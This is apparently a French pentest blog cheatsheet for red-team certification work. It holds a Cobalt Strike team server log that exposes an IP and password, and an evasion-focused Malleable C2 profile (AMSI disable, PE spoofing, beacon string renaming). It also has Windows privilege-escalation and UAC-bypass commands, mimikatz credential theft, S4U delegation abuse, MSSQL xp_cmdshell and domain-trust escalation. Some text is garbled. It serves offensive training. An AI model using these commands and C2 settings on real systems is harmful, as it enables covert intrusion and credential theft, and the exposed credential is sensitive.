Hello, Je partage aujourd’hui une petite cheatsheet que j’ai faite au fil du temps et des cours des différentes certifications que j’ai obtenues. J’ajouterai du contenu avec le temps.
raphgui@vps:/home/raphgui/cobaltstrike > sudo systemctl status teamserver.service ● teamserver.ser vice - Cobalt Strike Team Server Loaded: loaded (/etc/s ystemd/system/teamserver.service; disabled; vendor preset: enabled) Active: active (running) since Mo
n 2023-03-06 19:15:40 UTC; 9s ago Main PID: 86670 (teamserver) Tasks: 19 (limit: 2266) Memory: 69.6
M CPU: 1.650s CGroup: /system.slice/teamserver.service ├─8 6670 /bin/bash /home/raphgui/cobaltstrike/teamserver 54.36.102.43 "RaphguiCRTO!" └─86671 ./Team ServerImage -Dcobaltstrike.server_port=50050 -Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.ne> Mar 06 19:15:41 vps-24eb94c1 teamserver[86671]: [] Loading Windows error codes. Mar 06 19:1 5:41 vps-24eb94c1 teamserver[86671]: [] Windows error codes loaded Mar 06 19:15:41 vps-24e b94c1 teamserver[86671]: [] Loading beacons Mar 06 19:15:41 vps-24eb94c1 teamse rver[86671]: [] Loaded 4 beacons Mar 06 19:15:41 vps-24eb94c1 teamserver[86671]: [+] Team server is up on 0.0.0.0:50050 Mar 06 19:15:41 vps-24eb94c1 teamserver[86671]: [\*] SHA256
hash of SSL cert is: 56a06a233bd30f693de25ef12cc19e8b2c92d3e>Mar 06 19:15:41 vps-24eb94c1 teamserver[86671]: [!] Web Server will u
se default SSL certificate (you don't want this). Mar 06 19:15:41 vps-24eb94c1 teamserver[86671]: Use a valid SSL certific ate with Cobalt Strike: https://www.cob>Mar 06 19:15:41 vps-24eb94c1 teamserver[86671]: [+] Listener: Backdoors started! Mar 06 19:15:42 vps-24eb94c1 teamserver[86671]: [+] Listener: cat_lin started!
Désormais plus qu’a mettre se service par défault :
set sample_name "Raphgui Profile"; set sleeptime "2"; set jitter "20"; set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36"; set host_stage "false";
stage { set userwx "false"; set stomppe "true"; set obfuscate "true"; set sleep_mask "true"; set name "explorer.dll"; set cleanup "true";
# Values captured using peclone against a Windows 10 version of explorer.exe set checksum "0"; set compile_time "11 Nov 2016 04:08:32"; set entry_point "650688"; set image_size_x86 "4661248"; set image_size_x64 "4661248"; set rich_header "\x3e\x98\xfe\x75\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x73\x81\x03\x26\xfc\xf9\x90";
# transform the x64 rDLL stage transform-x64 { strrep "This program cannot be run in DOS mode" ""; strrep "beacon.x64.dll" "not-beacon.dll"; strrep "ReflectiveLoader" "LoadData"; }
}
post-ex { set amsi_disable "true";
set spawnto_x86 "%windir%\\syswow64\\notepad.exe"; set spawnto_x64 "%windir%\\sysnative\\notepad.exe";
set pipename "totally_not_beacon, legitPipe_##"; }
Afin d’obtenir divergues informations sur l’Active Directory nous pouvons utiliser le module ”powerview” qui permet cela. On comme tout d’abord par un :
1
Import-Module PowerView.ps1
Cela va permettre de charger le module en mémoire. Obtenir des informations concernants le domain :
L’élévation de privilège est une étape très importante du pentest. Elle a pour but de nous donner un accès avec plus de privilège, et très généralement root.
Type de démarrage :
Automatique - Le service démarre immédiatement au démarrage Automatique (démarrage différé) - Le service attend un court laps de temps après le démarrage avant de démarrer principalement une option héritée pour aider le bureau à se charger plus rapidement).
Manuel - Le service ne démarre que lorsqu’il est spécifiquement demandé.
Désactivé - Le service est désactivé et ne fonctionnera pas.
État du service
En cours d’exécution - Le service est en cours d’exécution.
Arrêté - Le service n’est pas en cours d’exécution.
StartPending - Le service a été invité à démarrer et exécute sa procédure de démarrage.
StopPending - Le service a été invité à s’arrêter et exécute sa procédure d’arrêt.
Unquoted Service Paths
Cette privesc consiste à chercher un service qui a un PATH sans quote :
C:\Program Files\Lwo Help Me\MonService.exe![ref5]
Le deuxième PATH montré est un exemple concret. Lorsque que “MonService.exe” va être lancer. Windows va d’abord faire ”C:\MonService.exe” puis ”C:\Program Files\MonService.exe” et pour finir
”C:\Program Files\Lwo Help Me\MonService.exe”. Si nous pouvons écrire dans un des deux premiers PATH alors notre service / binaire sera exécuté à la place.
Weak Service Permissions
Cette escalade de privilège est assez simple, il faut chercher un service qui nous laisse modifier son PATH :
Si il y’a ChangeConfi g cela nous permet de changer le PATH du binaire éxécuter par le service :
1 2 3
run sc config VulnService2 binPath= C:\Temp\tcp-local_x64.svc.exe run sc stop VulnService2 run sc start VulnService2
Nous sommes désormais NT\Authority System.
Weak Service Binary Permissions
Cette fois si la démarche est différente, il s’agit d’un service dont nous avons le droit de renommer.
Si on le renomme puis on upload notre binaire et le nommons comme le service alors notre binaire sera executé.
UAC BYPASS
Très simple :
1
elevate uac-schtasks tcp-local
Credential
Lorsque nous avons des privilèges élevés, il est important de récupéré des credentials. Ça peut être des usernames/password, hash NTLM et Ticket Kerberos.
Nous avons comme outils très utiles pour récuperé des credentials mimikatz. Il est par default déja dans Cobalt Strike lorsque vous avez une beacon.
Mimikatz
Nous allons commencé par un flag essentielle :
1
mimikatz.exe token::elevate
L’option ”token elevate” va faire que mimikatz va impersonate le token choisis (par default NT-AUTHORITY\SYSTEM ).
Service for user ou plus communément appelé s4u, est une extension du protocole kerberos.
Cette extension est utilisé lors de la delegation constrained. Nous avons deux extensions principales.
Service for user to Proxy (S4u2Proxy):
Il s’agit d’une extension qui va permettre d’obtenir un ticket de service (TS) pour un autre service au nom d’un utilisateur. Service for user to Self (S4u2self):
Il s’agit d’une extension qui va permettre d’obtenir un ticket de service au nom d’un utilisateur.
Désormais en exploitation, nous allons depuis une machine qui a de la délégation constrained request via s4u2self un TS d’un user (Par default : Administrator). Puis avec ce ticket de service nous allons demander au nom de l’utilisateur impersonnate (administrator) demander un ticket de service sur un autre service (Exemple : cifs\dc.domain).
MS SQL
Pour exploiter les bases de données mssql, nous allons tout d’abord commencer par une phase d’énumération. Pour cela on va prendre PowerUPSQL.
execute-assembly C:\Tools\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe -a windows -s SPN.DOMAIN,1433 -m whoami -i DEV\mssql_svc
Execution
Désormais que nous avons les privilèges admins sur la mssql, nous pouvons activer XP_CMDSHELL. Cela va nous permettre de passer des commandes dans un command prompt :
Il s’agit d’un relation entre deux domaines. Nous pouvons le voir avec l’attribut WITHIN_FOREST , grâce à powerview. Nous allons prendre l’exemple de CRTO :
Lorsque la TrustDirection est en bidirectionnel, soit “two-way”. C’est à dire que les deux domaines ont accès l’un à l’autre. Si nous sommes Administrateur sur le domain child alors nous auront accès en tant qu’administrateur sur le domain parent.